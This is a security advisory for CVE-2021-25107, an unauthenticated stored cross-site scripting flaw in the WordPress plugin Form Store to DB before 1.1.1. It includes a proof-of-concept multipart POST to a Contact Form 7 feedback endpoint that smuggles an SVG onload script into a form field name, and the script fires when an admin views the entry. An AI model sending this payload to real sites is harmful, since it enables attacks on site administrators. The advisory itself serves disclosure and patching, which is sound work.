Form Store to DB < 1.1.1 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-25107

Description

The plugin does not sanitise and escape parameter keys before outputting it back in the created entry, allowing unauthenticated attacker to perform Cross-Site Scripting attacks against admin

Proof of Concept

POST /wp-json/contact-form-7/v1/contact-forms/1337/feedback HTTP/2
Content-Type: multipart/form-data; boundary=---------------------------243715402120191890871051639470

-----------------------------243715402120191890871051639470
Content-Disposition: form-data; name="your-name"

Attacker
-----------------------------243715402120191890871051639470
Content-Disposition: form-data; name="your-email"

attacker@domain.com
-----------------------------243715402120191890871051639470
Content-Disposition: form-data; name="your-subject"

XSS Injection
-----------------------------243715402120191890871051639470
Content-Disposition: form-data; name="your-message"

Sorry, not sorry.
-----------------------------243715402120191890871051639470
Content-Disposition: form-data; name="AA<svg/onload=(alert)(/XSS/)>"

Injected
-----------------------------243715402120191890871051639470--


The XSS will be triggered when viewing the related Entry in the admin dashboard (/wp-admin/edit.php?post_type=cf7storetodbs)